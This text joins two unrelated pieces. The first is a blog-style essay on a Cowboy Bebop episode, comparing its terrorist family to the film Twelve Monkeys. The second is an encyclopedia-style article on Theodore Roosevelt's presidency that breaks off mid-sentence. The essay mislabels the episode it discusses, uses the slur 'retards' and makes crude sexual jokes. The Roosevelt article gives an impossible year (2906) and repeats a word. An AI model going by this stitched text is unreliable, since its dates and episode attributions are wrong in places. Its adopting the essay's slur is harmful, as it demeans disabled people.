-[Episode 03 “Honky Tonk Woman”]  First let us pay attention to the assassination scene. This scene needed to several things well:  Depict Jet and Spike tracking down a bounty competently, if not impressively. Depict the bounty as an unsavory character, establishing therefore that Jet and Spike play for the side of the angels. Introduce the ‘real’ bounty of the episode, and depict them as more unsavory than the original bounty.  It accomplished all three very well, while interlacing with Faye Valentine’s adventures in failure in space. Humor is very much an element of this scene: it’s used as a tool of misdirection, making the remorseless violence that followed more shocking in effect. We know the violence is remorseless, because the ringleader of the assassination was dancing in the midst of the gunfire, reveling in it as if moved by the music.  All the diners save for Jet and Spike were mowed down by gunfire. Then something really interesting happens:  The “good guys” take a hostage. They seize the mother from her children (Twinkle Maria Murdock). This is a case of lowlifes turning on each other and it’s delicious. The Universal Environmental Protection Society is a family of terrorists who killed a guy, and everyone around him on a matter of principle. Spike and Jet took Maria as compensation for the guy she had killed. As it turns out, she’s the bigger bounty anyway.  Spike and Jet are not ‘morally outraged’ at the massacre they witnessed. They were too busy trying to make money. Lupin III is pretty much a lowlife, and characters from Nagai Go works are monsters, but it’s worth remarking on the utter callousness towards human life we are presented with. The sympathetic Spike Spiegel in the first episode is almost radically different from the person here. It’s like we now see the ruthless Spike who took on Asimov in “Asteroid Blues” along with the carefree, careless Spike who wasted his time chasing Hakim in “Stray Dog Strut.”  Is this inconsistency? Is it complexity? In any case, the Spike Spiegel who deals with these terrorists acts with haughtiness, with arrogance. But it’s not the kind that is founded on some kind of morals (perhaps), but rather it’s as if he’s invoking a fuzzy concept of class among criminals. He acts as if these terrorists were utterly beneath him. I think it’s cool stuff, also because this family of terrorist is mostly a bunch of retards.  But they’ve been an efficiently deadly bunch of retards. This brings me to how it contrasts with that which it remembers love for: The Army of the 12 Monkeys.  I truly adore this film. I must’ve seen it like 8 or more times, at least thrice in the theaters when it came out. This synopsis of the film compels me to link it with Cowboy Bebop:  An unknown and lethal virus has wiped out five billion people in 1996. Only 1% of the population has survived by the year 2035, and is forced to live underground. A convict (James Cole) reluctantly volunteers to be sent back in time to 1996 to gather information about the origin of the epidemic (who he’s told was spread by a mysterious “Army of the Twelve Monkeys”) and locate the virus before it mutates so that scientists can study it. Unfortunately Cole is mistakenly sent to 1990, six years earlier than expected, and is arrested and locked up in a mental institution, where he meets Dr. Kathryn Railly, a psychiatrist, and Jeffrey Goines, the insane son of a famous scientist and virus expert.  In “Gateway Shuffle,” there is this virus called Monkey Business that, well, turns people into monkeys. I don’t know exactly how to explain it, but there is something inherently humorous with the very idea of it. The reversal in Cowboy Bebop of the 12 Monkeys film is how ruthless the UEPS are. These characters are actual terrorists who kill people and want to turn them into monkeys. The Army of the 12 Monkeys was pretty much an organization reputed to have caused the end of the world as it was known, but in actuality their biggest act was to set zoo animals free in the middle of Baltimore (or was it Philadelphia?).  It is consistent, I think with how Cowboy Bebop did Desperado, wherein Asimov was an authentic criminal as opposed to a romanticized revenge-seeking hero in the form of El Mariachi. The UEPS are a far less complicated and nuanced set of ‘characters’ than the ‘Army’ but they are in turn more comically evil. Again I must say that it is never my intention to suggest that one version is better than another (personally I prefer the cruel irony in the film the same way I am nuts over Brad Pitt’s performance as the leader of the Army). The straightforward evil represented by Maria makes her ideal to be rendered as a comical villain as victim, as if within the tradition of Wile E. Coyote from Looney Tunes, to Spike Spiegel’s Road Runner.  But I’m letting myself get carried away. Both stories feature a threatening organization of malcontents humorously: one execution with black irony, the other with something akin to cruel slapstick. What this session really wanted to show is a battle in a hyperspace gate, to get the Foxtail and Swordfish into action, against one of the great Itano Circuses nearing the end of the millennium.  …which brilliantly serves as an expository piece of world building. The ‘ghosts’ of the missiles escape the hyperspace gate, scaring the piss out of Faye. Jet disses her for not remembering anything from high school science: Matter trapped in hyperspace may at times be visible in real space, but can never interact with matter in it.  Maria and the rest of the UEPS are stuck in hyperspace, the vial of the Monkey Business virus cleverly reverse-pickpocketed by Spike to Maria now surely to turn all of them into monkeys. The bad guys get what’s coming to them and yet the Bebop Cowboys end the session without their bounty.  “All that work for nothing… Oh, don’t look so down. We’ll make money next time.” Faye says this, and marks her informal inclusion in the group. She also said she was headed to the shower, which was totally a sexual flag of some kind. We are sure of this because Spike just had to call her on showering on their ship without their permission, then Cowboy Bebop slapped him with its cock-blocking chastisement. This show cracks me up.
-The Presidency of Theodore Roosevelt began on September 14, 1901, when Theodore Roosevelt became the 26th President of the United States upon the assassination and death of President William McKinley, and ended on March 4, 1909. Roosevelt had been the Vice President of the United States for only 194 days when he succeeded to the presidency. A Republican, he ran for and won a full four-year term as president in 1904, easily defeating Democratic nominee Alton B. Parker. After the Republican victory in the 1908 presidential election, Roosevelt was succeeded by his protégé and chosen successor, William Howard Taft.  A Progressive reformer, Roosevelt earned a reputation as a "trust buster" through his regulatory reforms and anti-trust prosecutions. His presidency saw the passage of the Pure Food and Drug Act, which established the Food and Drug Administration to regulate food safety, and the Hepburn Act, which increased the regulatory power of the Interstate Commerce Commission. Roosevelt took care, however, to show that he did not disagree with trusts and capitalism in principle, but was only against monopolistic practices. His "Square Deal" included regulation of railroad rates and pure foods and drugs; he saw it as a fair deal for both the average citizen and the businessmen. Sympathetic to both business and labor, Roosevelt avoided labor strife, most notably negotiating a settlement to the great Coal Strike of 1902. His great love was nature and he vigorously promoted the conservation movement, emphasizing efficient use of natural resources. He dramatically expanded the system of national parks and national forests. After 1906, he moved to the left, attacking big business and anti-labor decisions of the courts.  In foreign affairs, Roosevelt sought to uphold the Monroe Doctrine and establish the United States as a strong naval power. He inherited the colonial empire acquired in the Spanish–American War; while he ended the U.S. military presence in Cuba, he committed to a long-term occupation of the Philippines. Much of his foreign policy focused on the threats posed by Japan in the Pacific Ocean and Germany in the Caribbean Sea. Seeking to avoid the presence of European empires in the Western Hemisphere, Roosevelt mediated the Venezuela Crisis and declared the Roosevelt Corollary, in which the U.S. promised to uphold legitimate European claims on Latin American countries. Roosevelt also mediated the Russo-Japanese War, for which he won the Nobel Prize. He pursued closer relations with Great Britain, allowing for the beginning of the construction of the Panama Canal, which increased U.S. security and trade opportunities.  Historian Thomas Bailey, who generally disagreed with Roosevelt's policies, nevertheless concluded, "Roosevelt was a great personality, a great activist, a great preacher of the moralities, a great controversialist, a great showman. He dominated his era as he dominated conversations...the masses loved him; he proved to be a great popular idol and a great vote getter."[1] His image stands alongside George Washington, Thomas Jefferson and Abraham Lincoln on Mount Rushmore. Although Roosevelt has been criticized by some for his perceived imperialist stance, he is often ranked by historians among the top-five greatest U.S. Presidents of all time.[2][3]  Accession [ edit ]  Roosevelt's Inauguration  Roosevelt served as assistant secretary of the navy and governor of New York before winning election as William McKinley's running mate in the 1900 presidential election. Roosevelt became president following the assassination of McKinley by anarchist Leon Czolgosz in Buffalo, New York; Czolgosz shot McKinley on September 6, 1901, and McKinley died on September 14. Roosevelt was sworn into office on the day of McKinley's death at the Ansley Wilcox House in Buffalo. John R. Hazel, U.S. District Judge for the Western District of New York, administered the oath of office.[4] Being just a few weeks short of his 43rd birthday, Roosevelt became the youngest president in U.S. history, a distinction he still retains.[5]  When asked whether he was ready to take the oath, Roosevelt answered,[6]  I will take the oath. And in this hour of deep and terrible national bereavement, I wish to state that it shall be my aim to continue, absolutely without variance, the policy of President McKinley, for the peace and honor of our beloved country.  Roosevelt would later state that he came into office without any particular domestic policy goals. He broadly adhered to most Republican positions on economic issues, with the partial exception of the protective tariff. Roosevelt had stronger views on the particulars of his foreign policy, as he wanted the United States to assert itself as a great power in international relations.  Administration [ edit ]  Cabinet [ edit ]  Anxious to ensure a smooth transition, Roosevelt convinced the members of McKinley's cabinet, most notably Secretary of State John Hay and Secretary of the Treasury Lyman J. Gage, to remain in office after McKinley's death.[8] Another holdover from McKinley's cabinet, Secretary of War Elihu Root, had been a Roosevelt confidante for years, and he continued to serve as President Roosevelt's close ally.[9] Attorney General Philander C. Knox, who McKinley had appointed in early 1901, also emerged as a powerful force within the Roosevelt administration.[10] McKinley's personal secretary, George B. Cortelyou, remained in place under Roosevelt. Once Congress began its session in December 1901, Roosevelt replaced Gage with L. M. Shaw and appointed Henry C. Payne as Postmaster General, earning the approval of powerful Senators William B. Allison and John Coit Spooner.[12] He also replaced his former boss, Secretary of the Navy John D. Long, with Congressman William H. Moody.[a] In 1903, Roosevelt named Cortelyou as the first head of the Department of Commerce and Labor, and William Loeb Jr. became Roosevelt's secretary.  Root returned to the private sector in 1904 and was replaced by William Howard Taft, who had previously served as the governor-general of the Philippines.[15] Knox accepted appointment to the Senate in 1904, and was replaced by William Moody, who in turn was succeeded as attorney general by Charles Joseph Bonaparte in 2906. After Hay's death in 1905, Roosevelt convinced Root to return to the Cabinet as secretary of state, and Root remained in office until the final days of Roosevelt's tenure.[16] In 1907, Roosevelt replaced Shaw with Cortelyou, while James R. Garfield became the new secretary of the interior.  Press corps [ edit ]  Building on McKinley's effective use of the press, Roosevelt made the White House the center of news every day, providing interviews and photo opportunities. Noticing the White House reporters huddled outside in the rain one day, he gave them their own room inside, effectively inventing the presidential press briefing.[18] The grateful press, with unprecedented access to the White House, rewarded Roosevelt with ample coverage, rendered the more possible by Roosevelt's practice of screening out reporters he didn't like.[18]  Judicial appointments [ edit ]  Roosevelt appointed three associate justices of the Supreme Court.[19] Roosevelt's first appointment, Oliver Wendell Holmes, Jr. had served as chief justice of the Massachusetts Supreme Court since 1899 and had earned notoriety within legal circles for his moral skepticism and deference to elected officials. Confirmed in December 1902, Holmes served on the Supreme Court until 1932.[20] Roosevelt's second appointment, former Secretary of State William R. Day, became a reliable vote for Roosevelt's anti-trust prosecutions and remained on the court from 1903 to 1922.[21] In 1906, after considering Democratic appellate judge Horace Harmon Lurton for a Supreme Court vacancy, Roosevelt instead appointed Attorney General William Moody.[22] Moody served on the court until health problems forced his retirement in 1910.  Roosevelt also appointed 71 other federal judges: 18 to the United States Courts of Appeals, and 53 to the United States district courts.  Domestic policy [ edit ]  Progressivism [ edit ]  Determined to create what he called a "Square Deal" between business and labor, Roosevelt pushed several pieces of progressive legislation through Congress. Progressivism was among the most powerful political forces of the day, and Roosevelt was its most articulate spokesperson. Progressivism had dual aspects. First, progressivism promoted use of science, engineering, technology, and social sciences to address the nation's problems, and identify ways to eliminate waste and inefficiency and promote modernization.[23] Those promoting progressivism also campaigned against corruption among political machines, labor unions, and trusts of new, large corporations, which emerged at the turn of the century.[24] In describing Roosevelt's priorities and characteristics as president, historian G. Warren Chessman noted Roosevelt's  insistence upon the public responsibility of large corporations; publicity as a first remedy for trusts; regulation of railroad rates; mediation of the conflict of capital and labor; conservation of natural resources; and protection of the less fortunate members of society.[25]  Trust busting and regulation [ edit ]  In the late-nineteenth century, several large businesses, including Standard Oil, had either bought their rivals or had established business arrangements that effectively stifled competition. Many companies followed the model of Standard Oil, which organized itself as a trust in which several component corporations were controlled by one board of directors. While Congress had passed the 1890 Sherman Antitrust Act to provide some federal regulation of trusts, the Supreme Court had limited the power of the act in the case of United States v. E. C. Knight Co..[26] By 1902, the 100 largest corporations held control of 40 percent of industrial capital in the United States. Roosevelt did not oppose all trusts, but sought to regulate trusts that he believed harmed the public, which he labeled as "bad trusts."  First term [ edit ]  Upon taking office, Roosevelt proposed federal regulations of trusts. As the states had not prevented the growth of what he viewed as harmful trusts, Roosevelt advocated the creation of Cabinet department designed to regulate corporations engaged in interstate commerce. He also favored amending the Interstate Commerce Act of 1887, which had failed to prevent the consolidation of railroads. In February 1902, the Justice Department announced that it would file an antitrust suit against the Northern Securities Company, a railroad holding company that had been formed in 1901 by J. P. Morgan, James J. Hill, and E. H. Harriman. As the Justice Department lacked an anti-trust division, Attorney General Knox, a former corporate lawyer, personally led the suit. While the case was working its way through court, Knox filed another case against the "Beef Trust," which had become unpopular due to rising meat prices. Combined with his earlier rhetoric, the suits signaled Roosevelt's resolve to strengthen the federal regulation of trusts.  After the 1902 elections, Roosevelt called for a ban on railroad rebates to large industrial concerns, as well as for the creation of a Bureau of Corporations to study and report on monopolistic practices.[32] To pass his anti-trust package through Congress, Roosevelt appealed directly to the people, casting the legislation as a blow against the malevolent power of Standard Oil. Roosevelt's campaign proved successful, and he won congressional approval of the creation of the Department of Commerce and Labor, which included the Bureau of Corporations.[33] The Bureau of Corporations was designed to monitor and report on anti-competitive practices; Roosevelt believed that large companies would be less likely to engage in anti-competitive practices if such practices were publicized. At Knox's request, Congress also authorized the creation of the Antitrust Division of the Department of Justice. Roosevelt also won passage of the Elkins Act, which restricted the granting of railroad rebates.  In March 1904, the Supreme Court ruled for the government in the case of Northern Securities Co. v. United States. According to historian Michael McGerr, the case represented the federal government's first victorious prosecution of a "single, tightly integrated interstate corporation."[35] The following year, the administration won another major victory in Swift and Company v. United States, which broke up the Beef Trust. The evidence at trial demonstrated that, prior to 1902, the "Big Six" leading meatpackers had engaged in a conspiracy to fix prices and divide the market for livestock and meat in their quest for higher prices and higher profits. They blacklisted competitors who failed to go along, used false bids, and accepted rebates from the railroads. After they were hit with federal injunctions in 1902, the Big Six had merged into one company, allowing them to continue to control the trade internally. Speaking for the unanimous court, Justice Oliver Wendell Holmes Jr. held that interstate commerce included actions that were part of the chain where the chain was clearly interstate in character. In this case, the chain ran from farm to retail store and crossed many state lines.[36]  Second term [ edit ]  Following his re-election, Roosevelt sought to quickly enact a bold legislative agenda, focusing especially on legislation that would build upon the regulatory accomplishments of his first term. Events during his first term had convinced Roosevelt that legislation enacting additional federal regulation of interstate commerce was necessary, as the states were incapable of regulating large trusts that operated across state lines and the overworked Department of Justice was unable to provide an adequate check on monopolistic practices through anti-trust cases alone. Roused by reports in McClure's Magazine, many Americans joined Roosevelt in calling for an enhancement to the Elkins Act, which had done relatively little to restrict the granting of railroad rebates.[38] Roosevelt also sought to strengthen the powers of the Interstate Commerce Commission (ICC), which had been created in 1887 to regulate railroads. Roosevelt's call for regulatory legislation, published in his 1905 message to Congress, encountered strong opposition from business interests and conservative congressmen.[39]  When Congress reconvened in late 1905, Roosevelt asked Senator Jonathan P. Dolliver of Iowa to introduce a bill that would incorporate Roosevelt's railroad regulatory proposals, and set about mobilizing public and congressional support for the bill. The bill was also taken up in the House, where it became known as the Hepburn Bill, named after Congressman William Peters Hepburn.[40] While the bill passed the House with relative ease, the Senate, dominated by conservative Republicans like Nelson Aldrich, posed a greater challenge.[41] Seeking to defeat reform efforts, Aldrich arranged it so that Democrat Benjamin Tillman, a Southern senator who Roosevelt despised, was left in charge of the bill. Because railroad regulation was widely popular, opponents of the Hepburn Bill focused on the role of courts in reviewing the ICC's rate-setting. Roosevelt and progressives wanted to limit judicial review to issues of procedural fairness, while conservatives favored "broad review" that would allow judges to determine whether the rates themselves were fair.  After Roosevelt and Tillman were unable to assemble a bipartisan majority behind a bill that restricted judicial review, Roosevelt accepted an amendment written by Senator Allison that contained vague language allowing for court review of the ICC's rate-setting power. With the inclusion of the Allison amendment, the Senate passed the Hepburn Bill in a 71-to-3 vote. After both houses of Congress passed a uniform law, Roosevelt signed the Hepburn Act into law on June 29, 1906. In addition to rate-setting, the Hepburn Act also granted the ICC regulatory power over pipeline fees, storage contracts, and several other aspects of railroad operations.[45] Though some conservatives believed that the Allison amendment had granted broad review powers to the courts, a subsequent Supreme Court case limited judicial power to review the ICC's rate-setting powers.  In response to public clamor largely arising from the popularity of Upton Sinclair's novel, The Jungle, Roosevelt also pushed Congress to enact food safety regulations. Opposition to a meat inspection bill was strongest in the House, due to the presence of conservative Speaker of the House Joseph Gurney Cannon and allies of the meatpacking industry. Roosevelt and Cannon agreed to a compromise bill that became the Meat Inspection Act of 1906. Congress simultaneously passed the Pure Food and Drug Act, which received strong support in both the House and the Senate. Collectively, the laws provided for the labeling of foods and drugs and the inspection of livestock, and mandated sanitary conditions at meatpacking plants.[48]  Seeking to bolster anti-trust regulations, Roosevelt and his allies introduced a bill to enhance the Sherman Act in 1908, but it was defeated in Congress. In the aftermath of a series of scandals involving major insurance companies, Roosevelt sought to establish a National Bureau of Insurance to provide federal regulation, but this proposal was also defeated.[50] Roosevelt continued to launch anti-trust suits in his second term, and a suit against Standard Oil in 1906 would lead to that company's break-up in 1911.[51] In addition to the anti-trust suits and major regulatory reform efforts, the Roosevelt administration also won the cooperation of many large trusts, who consented to regulation by the Bureau of Corporations. Among the companies that voluntarily agreed to regulation was U.S. Steel, which avoided an antitrust suit by allowing the Bureau of Corporations to investigate its operations.[53]  Conservation [ edit ]  A political cartoon describing Roosevelt as "a practical forester"  Roosevelt was a prominent conservationist, putting the issue high on the national agenda.[54] Roosevelt's conservation efforts were aimed not just at environment protection, but also at ensuring that society as a whole, rather than just select individuals or companies, benefited from the country's natural resources.[55] His key adviser and subordinate on environmental matters was Gifford Pinchot, the head of the Bureau of Forestry. Roosevelt increased Pinchot's power over environmental issues by transferring control over national forests from the Department of the Interior to the Bureau of Forestry, which was part of the Agriculture Department. Pinchot's agency was renamed to the United States Forest Service, and Pinchot presided over the implementation of assertive conservationist policies in national forests.  Roosevelt encouraged the Newlands Reclamation Act of 1902, which promoted federal construction of dams to irrigate small farms and placed 230 million acres (360,000 mi² or 930,000 km²) under federal protection. In 1906, Congress passed the Antiquities Act, granting the president the power to create national monuments in federal lands. Roosevelt set aside more federal land, national parks, and nature preserves than all of his predecessors combined.[57][58] Roosevelt established the Inland Waterways Commission to coordinate construction of water projects for both conservation and transportation purposes, and in 1908 he hosted the Conference of Governors to boost support for conservation.[b] After the conference, Roosevelt established the National Conservation Commission to take an inventory of the nation's natural resources.[60]  Roosevelt's policies faced opposition from both environmental activists like John Muir and opponents of conservation like Senator Henry M. Teller of Colorado.[61] While Muir, the founder of the Sierra Club, wanted nature preserved for the sake of pure beauty, Roosevelt subscribed to Pinchot's formulation, "to make the forest produce the largest amount of whatever crop or service will be most useful, and keep on producing it for generation after generation of men and trees." [62] Teller and other opponents of conservation, meanwhile, believed that conservation would prevent the economic development of the West and feared the centralization of power in Washington. The backlash to Roosevelt's ambitious policies prevented further conservation efforts in the final years of Roosevelt's presidency and would later contribute to the Pinchot–Ballinger controversy during the Taft administration.[63]  Labor relations [ edit ]  "The Washington Schoolmaster," An editorial cartoon about the Coal strike of 1902, by Charles Lederer  Roosevelt was generally reluctant to involve himself in labor-management disputes, but he believed that presidential intervention was justified when such disputes threatened the public interest.[64] Labor union membership had doubled in the five years preceding Roosevelt's inauguration, and at the time of his accession, Roosevelt saw labor unrest as the greatest potential threat facing the nation. Yet he also sympathized with many laborers due to the harsh conditions that many faced.[65] Resisting the more extensive reforms proposed by labor leaders such as Samuel Gompers of the American Federation of Labor (AFL), Roosevelt established the open shop as the official policy civil service employees.[66]  In 1899, the United Mine Workers (UMW) had expanded its influence from bituminous coal mines to anthracite coal mines. The UMW organized an anthracite coal strike in May 1902, seeking an eight-hour day and pay increases. Hoping to reach a negotiated solution with the help of Mark Hanna's National Civic Federation, UMW president John Mitchell prevented bituminous coal miners from launching a sympathy strike. The mine owners, who wanted to crush the UMW, refused to negotiate, and the strike continued. In the ensuing months, the price of coal increased from five dollars per ton to above fifteen dollars per ton. Seeking to help the two parties arrive at a solution, Roosevelt hosted the UMW leaders and mine operators at the White House in October 1902, but the mine owners refused to negotiate. Through the efforts of Roosevelt, Root, and J.P. Morgan, the mine operators agreed to the establishment of a presidential commission to propose a solution to the strike. In March 1903, the commission mandated pay increases and a reduction in the work day from ten hours to nine hours. At the insistence of the mine owners, the UMW was not granted official recognition as the representative of the miners.[67]  Roosevelt refrained from major interventions in labor disputes after 1902, but state and federal courts increasingly became involved, issuing injunctions to prevent labor actions.[68] Tensions were particularly high in Colorado, where the Western Federation of Miners led a series of strikes that became part of a struggle known as the Colorado Labor Wars. Roosevelt did not intervene in the Colorado Labor Wars, but Governor James Hamilton Peabody dispatched the Colorado National Guard to crush the strikes. In 1905, radical union leaders like Mary Harris Jones and Eugene V. Debs established the Industrial Workers of the World (IWW), which criticized the conciliatory policies of the AFL.[69]  Civil rights [ edit ]  Although Roosevelt did some work improving race relations, he, like most leaders of the Progressive Era, lacked initiative on most racial issues. Booker T. Washington, the most important black leader of the day, was the first African American to be invited to dinner at the White House, dining there on October 16, 1901.[70] Washington, who had emerged as an important adviser to Republican politicians in the 1890s, favored accommodation with the Jim Crow laws that instituted racial segregation.[71] News of the dinner reached the press two days later, and public outcry from whites was so strong, especially from the Southern states, that Roosevelt never repeated the experiment.[70] Nonetheless, Roosevelt continued to consult Washington regarding appointments and shunned the "lily-white" Southern Republicans who favored excluding blacks from office.[citation needed]  After the dinner with Washington, Roosevelt continued to speak out against lynchings, but did little to advance the cause of African-American civil rights.[72] In 1906, he approved the dishonorable discharges of three companies of black soldiers who all refused his direct order to testify regarding their actions during a violent episode in Brownsville, Texas, known as the Brownsville Raid. Roosevelt was widely criticized by contemporary newspapers for the discharges, and Senator Joseph B. Foraker won passage of a congressional resolution directing the administration to turn over all documents related to the case.[73] The controversy hung over the remainder of his presidency, although the Senate eventually concluded that the dismissals had been justified.[74]  Panic of 1907 [ edit ]  In 1907, Roosevelt faced the greatest domestic economic crisis since the Panic of 1893. The U.S. stock market entered a slump in early 1907, and many in the financial markets blamed Roosevelt's regulatory policies for the decline in stock prices.[75] Lacking a strong central central banking system, the government was unable to coordinate response to the economic downturn. The slump reached a full-blown panic in October 1907, when two investors failed to take over United Copper. Working with Secretary of the Treasury Cortelyou, financier J.P. Morgan organized a group of businessmen to avert a crash by pledging their own money. Roosevelt aided Morgan's intervention by allowing U.S. Steel to acquire the Tennessee Coal, Iron and Railroad Company despite anti-trust concerns, and by authorizing Cortelyou to raise bonds and commit federal funds to the banks.[77] Roosevelt's reputation in Wall Street fell to new lows following the panic, but the president remained broadly popular.[78] In the aftermath of the panic, most congressional leaders agreed on the need to reform the nation's financial system. With the support of Roosevelt, Senator Aldrich introduced a bill to allow National Banks to issue emergency currency, but his proposal was defeated by Democrats and progressive Republicans who believed that it was overly favorable to Wall Street. Congress instead passed the Aldrich–Vreeland Act, which created the National Monetary Commission to study the nation's banking system; the commission's recommendations would later form the basis of the Federal Reserve System.  Tariffs [ edit ]  Many Republicans viewed the tariff as the key plank of their economic policy in the aftermath of the Panic of 1893. The tariff protected domestic manufacturing against foreign competition, and was also a major source of government funding, constituting over one-third of federal revenue in 1901. McKinley had been a committed protectionist, and the Dingley Tariff of 1897 represented a major increase in tariff rates. McKinley also negotiated bilateral reciprocity treaties with France, Argentina, and other countries in an attempt to expand foreign trade while still keeping overall tariff rates high. Unlike McKinley and other nineteenth-century Republican presidents, Roosevelt had never been a strong advocate of the protective tariff, nor did he place a high emphasis on tariffs in general. When Roosevelt took office, McKinley's reciprocity treaties were pending before the Senate, and many assumed that they would be ratified despite the opposition of Aldrich and other conservatives. After conferring with Aldrich, Roosevelt decided not to push Senate ratification of the treaties in order to avoid an intra-party conflict. He did, however, successfully pressure Congress to ratify reciprocal tariff treaties with the Philippines and, after overcoming domestic sugar interests, with Cuba.  The issue of the tariff lay dormant throughout Roosevelt's first term, but it continued to be an important campaign topic for both parties. Proponents of tariff reduction asked Roosevelt to call a special session of Congress to address the issue in early 1905, but Roosevelt was only willing to issue a cautious endorsement of a cut in tariff rates, and no further action was taken on the tariff during Roosevelt's tenure. In the first decade of the 20th century, the country experienced a period of sustained inflation for the first time since the early 1870s, and Democrats and other free trade advocates blamed rising prices on high tariff rates. Tariff reduction became an increasingly important national issue, and Congress would pass a major tariff law in 1909, shortly after Roosevelt left office.  Radical shift, 1907–09 [ edit ]  In his waning days in office, Roosevelt proposed numerous reforms  Growing popular outrage at corporate scandals, along with reporting of journalists like Lincoln Steffens and Ida Tarbell, contributed to a split in the Republican Party between conservatives like Aldrich and progressives like Albert B. Cummins and Robert M. La Follette. Roosevelt did not fully embrace the left wing of his party, but he adopted many of their proposals. In his last two years in office, Roosevelt abandoned his cautious approach toward big business, lambasting his conservative critics and calling on Congress to enact a series of radical new laws.[91] Roosevelt sought to replace the 19th-century laissez-faire economic environment with a new economic model which included a larger regulatory role for the federal government. He believed that 19th-century entrepreneurs had risked their fortunes on innovations and new businesses, and that these capitalists had been rightly rewarded. By contrast, he believed that 20th-century capitalists risked little but nonetheless reaped huge and unjust, economic rewards. Without a redistribution of wealth away from the upper class, Roosevelt feared that the country would turn to radicalism or fall to revolution.[92]  In January 1908, Roosevelt sent a special message to Congress, calling for the restoration of an employer's liability law, which had recently been struck down by the Supreme Court due to its application to intrastate corporations.[93] He also called for a national incorporation law (all corporations had state charters, which varied greatly state by state), a federal income tax and inheritance tax (both targeted at the rich), limits on the use of court injunctions against labor unions during strikes (injunctions were a powerful weapon that mostly helped business), an eight-hour work day for federal employees, a postal savings system (to provide competition for local banks), and legislation barring corporations from contributing to political campaigns.[94]  Roosevelt's increasingly radical stance proved popular in the Midwest and Pacific Coast, and among farmers, teachers, clergymen, clerical workers and some proprietors, but appeared as divisive and unnecessary to eastern Republicans, corporate executives, lawyers, party workers, and many members of Congress.[96] Populist Democrats such as William Jennings Bryan expressed admiration for Roosevelt's message, and one Southern newspaper called for Roosevelt to run as a Democrat in 1908, with Bryan as his running mate.[97] Despite the public support offered by Democratic congressional leaders like John Sharp Williams, Roosevelt never seriously considered leaving the Republican Party during his presidency. Roosevelt's move to the left was supported by some congressional Republicans and many in the public, but conservative Republicans such as Senator Nelson Aldrich and Speaker Joseph Gurney Cannon remained in control of Congress.[99] These Republican leaders blocked the more ambitious aspects of Roosevelt's agenda,[100] though Roosevelt won passage of a new Federal Employers Liability Act and other laws, such as a restriction of child labor in Washington, D.C.[99]  States admitted [ edit ]  One new state, Oklahoma, was admitted to the Union while Roosevelt was in office. Oklahoma, which was formed out of Indian Territory and Oklahoma Territory, became the 46th state on November 16, 1907. Congress had established the Indian Territory after several Native American tribes had been relocated to the area following the passage of the Indian Removal Act of 1830. Congress had created Oklahoma Territory in 1890 out of a portion of Indian Territory, opening up the region to settlement by whites.[101] Native American leaders in the Indian Territory sought to create the State of Sequoyah, but their efforts were defeated in Congress. At Roosevelt's suggestion, Indian Territory and Oklahoma Territory were combined to form one state under the Oklahoma Enabling Act. The act also contained provisions encouraging New Mexico Territory and Arizona Territory to begin the process of gaining admission as states.[citation needed]  Foreign policy [ edit ]  Great power politics [ edit ]  Victory in the Spanish–American War had made the United States a power in both the Atlantic Ocean and the Pacific Ocean, and Roosevelt was determined to continue the expansion of U.S. influence. Reflecting this view, Roosevelt stated in 1905, "We have become a great nation, forced by the face of its greatness into relations with the other nations of the earth, and we must behave as beseems a people with such responsibilities." Roosevelt believed that the United States had a duty to uphold a balance of power in international relations and seek to reduce tensions among the great powers. He was also adamant in upholding the Monroe Doctrine, the American policy of opposing European colonialism in the Western Hemisphere. Roosevelt viewed the German Empire as the biggest potential threat to the United States, and he feared that the Germans would attempt to establish a base in the Caribbean Sea. Given this fear, Roosevelt pursued closer relations with Britain, a rival of Germany, and responded skeptically to German Kaiser Wilhelm II's efforts to curry favor with the United States. Roosevelt also attempted to expand U.S. influence in East Asia and the Pacific, where the Empire of Japan and the Russian Empire exercised considerable authority. One important aspect of Roosevelt's strategy in East Asia was the Open Door Policy, which called for keeping China open to trade from all countries.  Aftermath of the Spanish–American War [ edit ]  The United States and its colonial possessions when Roosevelt entered office  Philippines [ edit ]  Roosevelt inherited a country torn by debate over the territories acquired in the Spanish–American War. Roosevelt believed that Cuba should be quickly granted independence and that Puerto Rico should remain a semi-autonomous possession under the terms of the Foraker Act. He wanted U.S. forces to remain in the Philippines to establish a stable, democratic government, even in the face of an insurrection led by Emilio Aguinaldo. Roosevelt feared that a quick U.S. withdrawal would lead to instability in the Philippines or an intervention by a major power such as Germany or Japan.[107]  The Filipino insurrection largely ended with the capture of Miguel Malvar in 1902.[108] In remote Southern areas, the Muslim Moros resisted American rule in an ongoing conflict known as the Moro Rebellion,[109] but elsewhere the insurgents came to accept American rule. Roosevelt continued the McKinley policies of removing the Catholic friars (with compensation to the Pope), upgrading the infrastructure, introducing public health programs, and launching a program of economic and social modernization. The enthusiasm shown in 1898-99 for colonies cooled off, and Roosevelt saw the islands as "our heel of Achilles." He told Taft in 1907, "I should be glad to see the islands made independent, with perhaps some kind of international guarantee for the preservation of order, or with some warning on our part that if they did not keep order we would have to interfere again."[110] By then the president and his foreign policy advisers turned away from Asian issues to concentrate on Latin America, and Roosevelt redirected Philippine policy to prepare the islands to become the first Western colony in Asia to achieve self-government.[111] Though most Filipino leaders favored independence, some minority groups, especially the Chinese who controlled much of local business, wanted to stay under American rule indefinitely.[112]  The Philippines was a major target for the progressive reformers. A report to Secretary of War Taft provided a summary of what the American civil administration had achieved. It included, in addition to the rapid building of a public school system based on English teaching:  steel and concrete wharves at the newly renovated Port of Manila; dredging the River Pasig,; streamlining of the Insular Government; accurate, intelligible accounting; the construction of a telegraph and cable communications network; the establishment of a postal savings bank; large-scale road-and bridge-building; impartial and incorrupt policing; well-financed civil engineering; the conservation of old Spanish architecture; large public parks; a bidding process for the right to build railways; Corporation law; and a coastal and geological survey.[113]  Cuba [ edit ]  While the Philippines would remain under U.S. control until 1946, Cuba gained independence in 1902.[114] The Platt Amendment, passed during the final year of McKinley's tenure, made Cuba a de facto protectorate of the United States.[115] Roosevelt won congressional approval for a reciprocity agreement with Cuba in December 1902, thereby lowering tariffs on trade between the two countries.[116] In 1906, an insurrection erupted against Cuban President Tomás Estrada Palma due to the latter's alleged electoral fraud. Both Estrada Palma and his liberal opponents called for an intervention by the U.S., but Roosevelt was reluctant to intervene.[117] When Estrada Palma and his Cabinet resigned, Secretary of War Taft declared that the U.S. would intervene under the terms of the Platt Amendment, beginning the Second Occupation of Cuba.[118] U.S. forces restored peace to the island, and the occupation ceased shortly before the end of Roosevelt's presidency.[119]  Puerto Rico [ edit ]  Puerto Rico had been something of an afterthought during the Spanish–American War, but it assumed importance due to its strategic position in the Caribbean Sea. The island provided an ideal naval base for defense of the Panama Canal, and it also 